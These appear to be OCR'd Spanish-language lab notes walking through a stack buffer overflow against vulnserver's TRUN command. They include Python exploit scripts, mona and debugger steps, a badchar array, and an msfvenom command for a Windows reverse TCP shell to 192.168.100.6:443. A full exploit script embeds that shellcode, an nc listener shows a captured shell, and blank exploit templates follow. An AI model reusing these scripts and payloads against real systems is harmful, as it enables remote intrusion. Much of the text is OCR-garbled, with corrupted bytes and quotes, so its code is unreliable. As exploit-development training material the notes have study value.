CkOCIOCUCI2CI3CL4CI5CLeCL7CI8CIOCMOCMTICM2CM3CmM4CmM5CM6CM7CmM8CmMI9CN0CN1Cn2Cn3CNn4CNn5CNn6C-
n7Cn8Cn9C00C01C02C03C04C05C06C07C08Co9CP0CP1CP2CP3CPp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5C-
q6Cq7Cq8Cq9CrO0CrCr2Cr3Cr4Cr5Cr6Cr7Cr8Cro"

end ="\r\n"

buffer = cmd + junk + end

s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
s.connect((sys.argv[1], 9999))

s.send(buffer)

s.recv(1024)

s.close()

Encontrar Pattern Offset EIP

msf-pattern_offset -q 396F4338
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file: exploit.py

#!/usr/bin/python
import sys, socket
if len(sys.argv) < 2:

print "\nUsage: " + sys.argv[0] + " <HOST>\n"
sys.exit()

cmd ="TRUN ."
junk ="A"*2006
end ="\r\n"

buffer = cmd + "B"*4 + "C"*256 + junk + end

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 9999))

s.send(buffer)

s.recv(1024)

s.close()

€% Immunity Debugger - vulnserver.exe - [CPU - thread 00000BEO]
@Eile View Debug Plugins Immlib Options Window Help Jobs

|_;;§>7 Ax I MRS 1 emtwhcecPkbz ..

Hddress [ H

Buscamos Badchars con !mona
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[ FFFFFFFF]

FFFFFFFF)




Imona bytearray
C:\Program Files\Immunity Inc\lImmunity Debugger\bytearray.txt

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\xOf\x10"
"Wx11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"Xx31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\Xx71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x8T1\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xbT\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xcO"
"\xcT\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd 0"
"\xdT\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0Q"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\XFI\xF2\xF3\xf4\xf5\xf6\xf7\xf8\xfO\xfa\xfb\xfc\xfd\xfe\xff"

file: exploit.py
#!/usr/bin/python
import sys, socket

if len(sys.argv) < 2:
print "\nUsage: " + sys.argv[0] + " <HOST>\n"
sys.exit()

cmd ="TRUN ."

shellcode =
("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\xOf\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19
\xTa\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\
x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x-
59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\
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x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\
x9a\x9b\x9c\x9d\x9e\xOf"
"\xa0O\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\
xba\xbb\xbc\xbd\xbe\xbf"
"\xcO\xcT\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xcO\xca\xcb\xcc\xcd\xce\xcfixd0\xd1\xd2\xd3\xd4\xd5\xd6\xd 7\xd8\xd9\xda\
xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xfO\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\
xfb\xfc\xfd\xfe\xff")

#7701E6GE7

pivote = "xE7\x6E\x10\x77"

junk ="A"*2006 + pivote + '\x90' * 20 + shellcode
end ="\r\n"

buffer = cmd + junk + end

s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
s.connect((sys.argv[1], 9999))

s.send(buffer)

s.recv(1024)

s.close()

Aqui debemos buscar los badchars de manera manual, uno por uno.

Buscamos modulos DDL con mona

!mona modules



1]
pip.d
OLLY €

L
L
L
L
L

A A A AT A A~ A T
A A A AT A A~ A T

Buscamos jmp con mona

Imona jmp -r esp

Alternative

[usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

nasm > jmp esp
pOOPORRd FFE4 jmp esp
nasm

Imona find -s "\xFF\xE4" -m essfunc.dll

Generar shellcode en msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.6 LPORT=443 EXITFUNC=thread -b "\x00" -e x86/
shikata_ga_nai -v shellcode -f python
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— |

windows/shell_reverse_tcp LHOST=192.168.100.6 LPORT=443 EXITFUNC=thread "\x@0" x86/shikata_ga

size of python file: 1965 bytes
shellcode s
shellcode
shellcode
shellcode
shellcode
shellcode

b
b
BN
b™\
b\
b

o S S S T |

Exploit RCE
file: exploit2.py
#!/usr/bin/python

import sys, socket
import struct

if len(sys.argv) < 2:
print "\nUsage: " + sys.argv[0] + " <HOST>\n"
sys.exit()

padding ='A"'* 2006

jmpesp = struct.pack("<I",0x625011AF)

H#jmpesp = "\xAF\x11\x50\x62"

nops = "\x90" * 20

shellcode =(
"\xba\xbd\x3a\xaf\xba\xd9\xf7\xd9\x74\x24\xf4"
"\x5e\x31\xc9\xb1\x52\x31\x56\x12\x03\x56\x12"
"\x83\x53\xc6\x4d\x4f\x57\xdf\x10\xb0\xa7\x20"
"\x75\x38\x42\x11\xb5\x5e\x07\x02\x05\x14\x45"
"\xaf\xee\x78\x7d\x24\x82\x54\x72\x8d\x29\x83"
"\xbd\x0e\x01\xf7\xdc\x8c\x58\x24\x3e\xac\x92"
"\x39\x3f\xe9\xcf\xb0\x6d\xa2\x84\x67\x81\xc7"
"\xdT\xbb\x2a\x9b\xf4\xbb\xcf\x6c\xf6\xea\x5e"
"\xe6\xaT\x2c\x61\x2b\xda\x64\x79\x28\xe7\x3f"
"\xf2\x9a\x93\xc1\xd2\xd2\x5c\x6d\x1b\xdb\xae"
"\x6f\x5c\xdc\x50\x1a\x94\x1e\xec\x1d\x63\x5¢"
"\x2a\xab\x77\xc6\xb9\x0b\x53\xf6\x6e\xcd\x10"
"\xf4\xdb\x99\x7e\x19\xdd\x4e\xf5\x25\x56\x71"
"\xd9\xaf\x2c\x56\xfd\xf4\xf7\xf7\xa4\x50\x59"
"\x07\xb6\x3a\x06\xad\xbd\xd7\x53\xdc\x9c\xbf"
"\x90\xed\x1e\x40\xbf\x66\x6d\x72\x60\xdd\xf9"
"\x3e\xe9\xfb\xfe\x41\xcO\xbc\x90\xbf\xeb\xbc"
"\xb9\x7b\xbf\xec\xd1\xaa\xc0\x66\x21\x52\x15"
"\x28\x71\xfc\xc6\x89\x21\xbc\xb6\x61\x2b\x33"
"\xe8\x92\x54\x99\x81\x39\xaf\x4a\x6e\x15\xcb"
shellcode +="\x8c\x06\x64\x13\x90\x6d\xe1\xf5\xf8\x81\xa4"
shellcode +="\xae\x94\x38\xed\x24\x04\xc4\x3b\x41\x06\x4e"
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shellcode += "\xc8\xb6\xc9\xa7\xa5\xa4\xbe\x47\xfO\x96\x69"
shellcode +="\x57\x2e\xbe\xf6\xca\xb5\x3e\x70\xf7\x61\x69"
shellcode +="\xd5\xc9\x7b\xff\xcb\x70\xd2\x1d\x16\xe4\x1d"
shellcode +="\xa5\xcd\xd5\xa0\x24\x83\x62\x87\x36\x5d\x6a"
shellcode += "\x83\x62\x31\x3d\x5d\xdc\xf7\x97\x2f\xb6\xa1"
shellcode +="\x44\xe6\x5e\x37\xa7\x39\x18\x38\xe2\xcf\xc4"
shellcode += "\x89\x5b\x96\xfb\x26\x0c\x1e\x84\x5a\xac\xe1"
shellcode +="\x5f\xdf\xcc\x03\x75\x2a\x65\x9a\x1c\x97\xe8"
shellcode +="\x1d\xcb\xd4\x14\x9e\xf9\xa4\xe2\xbe\x88\xa1"
shellcode +="\xaf\x78\x61\xd8\xa0\xec\x85\x4f\xc0\x24"

buf = padding + jmpesp + nops + shellcode

s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
s.connect((sys.argv[1], 9999))

s.recv(1024)

s.send('TRUN .' + buf + "\r\n")

s.recv(1024)

s.close()

nc -lvp 443

I
445

Listening on 0.8.8.0 443

Microsoft Wi ws [Versi®n 6.1
Copyright (c) 2089 Microsoft Corporation. Reservados todos los derechos.

C:\Users\W72-32BITS\Downloads>[]

Referencias:

https://d00mfist.gitbooks.io/ctf/content/buffer-overflow-shell.html
https://github.com/sandromelobrazil/BOF/blob/master/PYTHON/pwk-testel-poc.py
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Templates

File: Exploit1.py
#!/usr/bin/python

import sys, socket
import struct

if len(sys.argv) < 2:
print "\nUsage: " + sys.argv[0] + " <HOST>\n"
sys.exit()
cmd=""
padding ='A"* OFFSET
jmpesp = struct.pack("<I",0x)
nops = "\x90" * 20
shellcode =("")

buffer = cmd + padding + jmpesp + nops + shellcode + cmd

s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
s.connect((sys.argv[1],))

s.send(buffer)

s.recv(1024)

s.close()

File: Exploit2:
#!/usr/bin/python
import sys, socket
if len(sys.argv) < 2:
print "\nUsage: " + sys.argv[0] + " <HOST>\n"

sys.exit()

#IMP
pivote = "\x"

#Badchars:
shellcode =("")

Cmd = nn
junk ="A"* OFFSET + pivote + '\x90' * 20 + shellcode
end ="\r\n"
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buffer = cmd + junk + end

s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
s.connect((sys.argv[1], PORT))

s.send(buffer)

s.recv(1024)

s.close()
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